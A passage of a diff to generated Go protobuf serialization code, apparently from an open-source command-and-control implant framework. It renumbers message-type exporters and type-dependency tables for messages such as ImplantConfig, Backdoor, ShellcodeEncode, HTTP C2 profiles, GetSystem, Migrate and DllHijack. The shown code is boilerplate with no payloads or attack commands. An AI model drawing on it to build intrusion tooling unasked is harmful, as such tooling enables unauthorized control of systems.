commonpb.Response + 148, // 75: clientpb.BackdoorReq.Request:type_name -> commonpb.Request + 149, // 76: clientpb.Backdoor.Response:type_name -> commonpb.Response + 3, // 77: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder + 148, // 78: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request + 149, // 79: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response + 144, // 80: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry + 26, // 81: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig + 107, // 82: clientpb.Builders.Builders:type_name -> clientpb.Builder + 36, // 83: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget + 37, // 84: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler + 111, // 85: clientpb.HTTPC2Configs.configs:type_name -> clientpb.HTTPC2Config + 111, // 86: clientpb.HTTPC2ConfigReq.C2Config:type_name -> clientpb.HTTPC2Config + 112, // 87: clientpb.HTTPC2Config.ServerConfig:type_name -> clientpb.HTTPC2ServerConfig + 113, // 88: clientpb.HTTPC2Config.ImplantConfig:type_name -> clientpb.HTTPC2ImplantConfig + 115, // 89: clientpb.HTTPC2ServerConfig.Headers:type_name -> clientpb.HTTPC2Header + 114, // 90: clientpb.HTTPC2ServerConfig.Cookies:type_name -> clientpb.HTTPC2Cookie + 116, // 91: clientpb.HTTPC2ImplantConfig.ExtraURLParameters:type_name -> clientpb.HTTPC2URLParameter + 115, // 92: clientpb.HTTPC2ImplantConfig.Headers:type_name -> clientpb.HTTPC2Header + 117, // 93: clientpb.HTTPC2ImplantConfig.PathSegments:type_name -> clientpb.HTTPC2PathSegment + 4, // 94: clientpb.HTTPC2PathSegment.SegmentType:type_name -> clientpb.HTTPC2SegmentType + 5, // 95: clientpb.Credential.HashType:type_name -> clientpb.HashType + 118, // 96: clientpb.Credentials.Credentials:type_name -> clientpb.Credential + 125, // 97: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation + 6, // 98: clientpb.CrackstationStatus.State:type_name -> clientpb.States + 122, // 99: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus + 145, // 100: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry + 146, // 101: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry + 129, // 102: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand + 147, // 103: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry + 126, // 104: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo + 128, // 105: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo + 127, // 106: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo + 8, // 107: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode + 5, // 108: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType + 10, // 109: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat + 9, // 110: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding + 9, // 111: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding + 11, // 112: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile + 132, // 113: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile + 12, // 114: clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType + 133, // 115: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk + 135, // 116: clientpb.MonitoringProviders.providers:type_name -> clientpb.MonitoringProvider + 27, // 117: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder + 26, // 118: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig + 136, // 119: clientpb.ImplantBuilds.ResourceIDsEntry.value:type_name -> clientpb.ResourceID + 86, // 120: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent + 86, // 121: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent + 95, // 122: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData + 3, // 123: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder + 124, // [124:124] is the sub-list for method output_type + 124, // [124:124] is the sub-list for method input_type + 124, // [124:124] is the sub-list for extension type_name + 124, // [124:124] is the sub-list for extension extendee + 0, // [0:124] is the sub-list for field type_name } func init() { file_clientpb_client_proto_init() } @@ -13001,7 +13564,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ClientLogData); i { + switch v := v.(*Users); i { case 0: return &v.state case 1: @@ -13013,6 +13576,66 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*User); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*ClientLogData); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*ImplantCommand); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*HistoryRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*History); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Session); i { case 0: return &v.state @@ -13024,7 +13647,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Beacon); i { case 0: return &v.state @@ -13036,7 +13659,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Beacons); i { case 0: return &v.state @@ -13048,7 +13671,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*BeaconTask); i { case 0: return &v.state @@ -13060,7 +13683,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*BeaconTasks); i { case 0: return &v.state @@ -13072,7 +13695,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImplantC2); i { case 0: return &v.state @@ -13084,7 +13707,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImplantConfig); i { case 0: return &v.state @@ -13096,7 +13719,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TrafficEncoder); i { case 0: return &v.state @@ -13108,7 +13731,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TrafficEncoderMap); i { case 0: return &v.state @@ -13120,7 +13743,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TrafficEncoderTest); i { case 0: return &v.state @@ -13132,7 +13755,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TrafficEncoderTests); i { case 0: return &v.state @@ -13144,7 +13767,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ExternalImplantConfig); i { case 0: return &v.state @@ -13156,7 +13779,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ExternalImplantBinary); i { case 0: return &v.state @@ -13168,7 +13791,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImplantBuilds); i { case 0: return &v.state @@ -13180,7 +13803,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImplantStageReq); i { case 0: return &v.state @@ -13192,7 +13815,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImplantBuild); i { case 0: return &v.state @@ -13204,7 +13827,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CompilerTarget); i { case 0: return &v.state @@ -13216,7 +13839,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrossCompiler); i { case 0: return &v.state @@ -13228,7 +13851,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Compiler); i { case 0: return &v.state @@ -13240,7 +13863,31 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*MetasploitModule); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*MetasploitCompiler); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DeleteReq); i { case 0: return &v.state @@ -13252,7 +13899,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DNSCanary); i { case 0: return &v.state @@ -13264,7 +13911,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Canaries); i { case 0: return &v.state @@ -13276,7 +13923,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UniqueWGIP); i { case 0: return &v.state @@ -13288,7 +13935,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImplantProfile); i { case 0: return &v.state @@ -13300,7 +13947,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImplantProfiles); i { case 0: return &v.state @@ -13312,7 +13959,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*RegenerateReq); i { case 0: return &v.state @@ -13324,7 +13971,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Job); i { case 0: return &v.state @@ -13336,7 +13983,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Jobs); i { case 0: return &v.state @@ -13348,7 +13995,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*KillJobReq); i { case 0: return &v.state @@ -13360,7 +14007,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*RestartJobReq); i { case 0: return &v.state @@ -13372,7 +14019,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*KillJob); i { case 0: return &v.state @@ -13384,7 +14031,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ListenerJob); i { case 0: return &v.state @@ -13396,7 +14043,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[41].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MultiplayerListenerReq); i { case 0: return &v.state @@ -13408,7 +14055,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[42].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MTLSListenerReq); i { case 0: return &v.state @@ -13420,7 +14067,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[43].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WGListenerReq); i { case 0: return &v.state @@ -13432,7 +14079,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[44].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DNSListenerReq); i { case 0: return &v.state @@ -13444,7 +14091,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[45].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPListenerReq); i { case 0: return &v.state @@ -13456,7 +14103,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[46].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NamedPipesReq); i { case 0: return &v.state @@ -13468,7 +14115,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[47].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NamedPipes); i { case 0: return &v.state @@ -13480,7 +14127,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[41].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[48].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TCPPivotReq); i { case 0: return &v.state @@ -13492,7 +14139,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[42].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[49].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TCPPivot); i { case 0: return &v.state @@ -13504,7 +14151,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[43].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[50].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Sessions); i { case 0: return &v.state @@ -13516,7 +14163,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[44].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[51].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*RenameReq); i { case 0: return &v.state @@ -13528,7 +14175,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[45].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[52].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*GenerateReq); i { case 0: return &v.state @@ -13540,7 +14187,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[46].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[53].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*GenerateStageReq); i { case 0: return &v.state @@ -13552,7 +14199,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[47].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[54].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Generate); i { case 0: return &v.state @@ -13564,7 +14211,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[48].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[55].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MSFReq); i { case 0: return &v.state @@ -13576,7 +14223,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[49].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[56].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MSFRemoteReq); i { case 0: return &v.state @@ -13588,7 +14235,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[50].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[57].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*StagerListenerReq); i { case 0: return &v.state @@ -13600,7 +14247,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[51].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[58].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*StagerListener); i { case 0: return &v.state @@ -13612,7 +14259,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[52].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[59].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ShellcodeRDIReq); i { case 0: return &v.state @@ -13624,7 +14271,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[53].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[60].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ShellcodeRDI); i { case 0: return &v.state @@ -13636,7 +14283,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[54].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MsfStagerReq); i { case 0: return &v.state @@ -13648,7 +14295,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[55].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MsfStager); i { case 0: return &v.state @@ -13660,7 +14307,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[56].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*GetSystemReq); i { case 0: return &v.state @@ -13672,7 +14319,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[57].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MigrateReq); i { case 0: return &v.state @@ -13684,7 +14331,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[58].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CreateTunnelReq); i { case 0: return &v.state @@ -13696,7 +14343,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[59].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CreateTunnel); i { case 0: return &v.state @@ -13708,7 +14355,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[60].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[67].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CloseTunnelReq); i { case 0: return &v.state @@ -13720,7 +14367,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[68].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*PivotGraphEntry); i { case 0: return &v.state @@ -13732,7 +14379,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[69].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*PivotGraph); i { case 0: return &v.state @@ -13744,7 +14391,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[70].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Client); i { case 0: return &v.state @@ -13756,7 +14403,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[71].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Event); i { case 0: return &v.state @@ -13768,19 +14415,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Operators); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_clientpb_client_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[72].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Operator); i { case 0: return &v.state @@ -13792,7 +14427,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[67].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WebContent); i { case 0: return &v.state @@ -13804,7 +14439,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[68].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WebsiteAddContent); i { case 0: return &v.state @@ -13816,7 +14451,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[69].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WebsiteRemoveContent); i { case 0: return &v.state @@ -13828,7 +14463,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[70].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[76].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Website); i { case 0: return &v.state @@ -13840,7 +14475,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[71].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[77].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Websites); i { case 0: return &v.state @@ -13852,7 +14487,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[72].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[78].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WGClientConfig); i { case 0: return &v.state @@ -13864,7 +14499,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[79].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Loot); i { case 0: return &v.state @@ -13876,7 +14511,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*AllLoot); i { case 0: return &v.state @@ -13888,7 +14523,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*IOC); i { case 0: return &v.state @@ -13900,7 +14535,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[76].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ExtensionData); i { case 0: return &v.state @@ -13912,7 +14547,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[77].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Host); i { case 0: return &v.state @@ -13924,7 +14559,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[78].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*AllHosts); i { case 0: return &v.state @@ -13936,7 +14571,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[79].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DllHijackReq); i { case 0: return &v.state @@ -13948,7 +14583,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DllHijack); i { case 0: return &v.state @@ -13960,7 +14595,7 @@ func 